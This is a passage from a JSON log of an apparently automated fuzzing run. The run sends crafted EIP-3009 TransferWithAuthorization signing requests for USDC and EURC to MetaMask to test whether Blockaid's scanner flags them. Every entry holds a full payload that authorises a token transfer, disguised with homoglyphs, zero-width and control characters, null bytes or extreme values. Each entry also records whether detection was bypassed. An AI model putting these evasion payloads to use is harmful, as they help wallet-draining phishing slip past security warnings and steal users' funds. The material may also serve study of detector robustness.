"timestamp": "2026-01-31T23:39:01.705Z", "technique": "EIP3009-combo-EURC-leading_space-zero-far_future-random-checksum-signTypedData", "category": "eip3009", "description": "EURC + leading_space + zero + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\" EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0\",\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0xe3c85af613d2421b26657dc45e9d00d55752af302aaf9a6a4c2e629799bc364e\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN7-COMBO-13", "timestamp": "2026-01-31T23:39:08.247Z", "technique": "EIP3009-combo-EURC-long_1024-one_million-narrow_1hr-random-checksum-v3", "category": "eip3009", "description": "EURC + long_1024 + one_million + narrow_1hr", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURCxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"1000000000000\",\"validAfter\":\"1769898414\",\"validBefore\":\"1769905614\",\"nonce\":\"0xa6030c1da95e2d04f0a27ca0b766183ce4510c8cb2589e2998981526a4c2f852\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN7-COMBO-14", "timestamp": "2026-01-31T23:39:15.186Z", "technique": "EIP3009-combo-EURC-escape-one_million-narrow_1hr-random-checksum-v3", "category": "eip3009", "description": "EURC + escape + one_million + narrow_1hr", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR\\u001bC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"1000000000000\",\"validAfter\":\"1769898414\",\"validBefore\":\"1769905614\",\"nonce\":\"0x9d77bac7c45546a07f889248f431ba17b262e1191939f2ae9857d884963a2113\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN8-COMBO-0", "timestamp": "2026-01-31T23:39:22.335Z", "technique": "EIP3009-combo-USDC-leading_space-half_max-numeric_ts-all_ones-mixed_case-v4", "category": "eip3009", "description": "USDC + leading_space + half_max + numeric_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\" USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"57896044618658097711785492504343953926634992332820282019728792003956564819967\",\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN8-COMBO-1", "timestamp": "2026-01-31T23:39:28.863Z", "technique": "EIP3009-combo-EURC-nbsp-unicode_digits-year_2100-mixed_case_hex-lowercase-signTypedData", "category": "eip3009", "description": "EURC + nbsp + unicode_digits + year_2100", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"100000000000\",\"validAfter\":\"0\",\"validBefore\":\"4102444800\",\"nonce\":\"0x408cA7C474A4DeE6B05892F9020581B8FbC2855aAe9dBb10993e8b00F2C30cD3\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN8-COMBO-2", "timestamp": "2026-01-31T23:39:35.406Z", "technique": "EIP3009-combo-EURC-thin_space-max_uint_minus_1-leading_zeros_ts-all_ones-mixed_case-v3", "category": "eip3009", "description": "EURC + thin_space + max_uint_minus_1 + leading_zeros_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639934\",\"validAfter\":\"0000000000\",\"validBefore\":\"0001893456000\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN8-COMBO-3", "timestamp": "2026-01-31T23:39:41.948Z", "technique": "EIP3009-combo-EURC-cyrillic_o-round_100k-past_2020-all_ones-mixed_case-v4", "category": "eip3009", "description": "EURC + cyrillic_o + round_100k + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"100000000000\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN8-COMBO-4", "timestamp": "2026-01-31T23:39:48.478Z", "technique": "EIP3009-combo-EURC-thin_space-hex_short-just_now-random-lowercase-signTypedData", "category": "eip3009", "description": "EURC + thin_space + hex_short + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"0x1\",\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0xe90b46c9f5ff8911393cd9e3fac3430af0d24f6823a2390a4c31a416c62aeb58\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN8-COMBO-5", "timestamp": "2026-01-31T23:39:55.020Z", "technique": "EIP3009-combo-USDC-word_joiner-very_large-standard-leading_zeros_nonce-mixed_case-v3", "category": "eip3009", "description": "USDC + word_joiner + very_large + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD⁠ Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"99999999999999999999999999999999999999999999999999999999999999999999999999999\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000001\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN8-COMBO-6", "timestamp": "2026-01-31T23:40:01.559Z", "technique": "EIP3009-combo-USDC-zwnj-alternating-year_2100-mixed_case_hex-lowercase-v4", "category": "eip3009", "description": "USDC + zwnj + alternating + year_2100", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"US‌D Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"10101010101010101010101010101010\",\"validAfter\":\"0\",\"validBefore\":\"4102444800\",\"nonce\":\"0x721620D2C5D242589cA256720cE8D5739fCd0698A6Ea5eEbB566E354C1Cf9301\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN8-COMBO-7", "timestamp": "2026-01-31T23:40:08.477Z", "technique": "EIP3009-combo-EURC-bom-one_million-just_now-all_ones-lowercase-v3", "category": "eip3009", "description": "EURC + bom + one_million + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"1000000000000\",\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN8-COMBO-8", "timestamp": "2026-01-31T23:40:15.438Z", "technique": "EIP3009-combo-EURC-newline-dust_1-just_now-zero-lowercase-v3", "category": "eip3009", "description": "EURC + newline + dust_1 + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR\\nC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"1\",\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN8-COMBO-9", "timestamp": "2026-01-31T23:40:24.762Z", "technique": "EIP3009-combo-USDC-combining_mark-one_million-standard-sequential-lowercase-v4", "category": "eip3009", "description": "USDC + combining_mark + one_million + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD̀ Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"1000000000000\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000019c166ce95f\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN8-COMBO-10", "timestamp": "2026-01-31T23:40:31.702Z", "technique": "EIP3009-combo-USDC-null_byte-hex_short-leading_zeros_ts-leading_zeros_nonce-checksum-signTypedData", "category": "eip3009", "description": "USDC + null_byte + hex_short + leading_zeros_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\u0000 Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0x1\",\"validAfter\":\"0000000000\",\"validBefore\":\"0001893456000\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000001\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN8-COMBO-11", "timestamp": "2026-01-31T23:40:38.243Z", "technique": "EIP3009-combo-USDC-nbsp-alternating-past_2020-all_ones-lowercase-v4", "category": "eip3009", "description": "USDC + nbsp + alternating + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"10101010101010101010101010101010\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN8-COMBO-12", "timestamp": "2026-01-31T23:40:45.191Z", "technique": "EIP3009-combo-EURC-cyrillic_e-hex_short-numeric_ts-leading_zeros_nonce-mixed_case-v3", "category": "eip3009", "description": "EURC + cyrillic_e + hex_short + numeric_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"еURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"0x1\",\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000001\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN8-COMBO-13", "timestamp": "2026-01-31T23:40:51.718Z", "technique": "EIP3009-combo-USDC-cyrillic_a-one_million-just_now-max-lowercase-signTypedData", "category": "eip3009", "description": "USDC + cyrillic_a + one_million + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"1000000000000\",\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN8-COMBO-14", "timestamp": "2026-01-31T23:40:58.249Z", "technique": "EIP3009-combo-USDC-bidi_isolate-max_uint-narrow_1hr-sequential-lowercase-v3", "category": 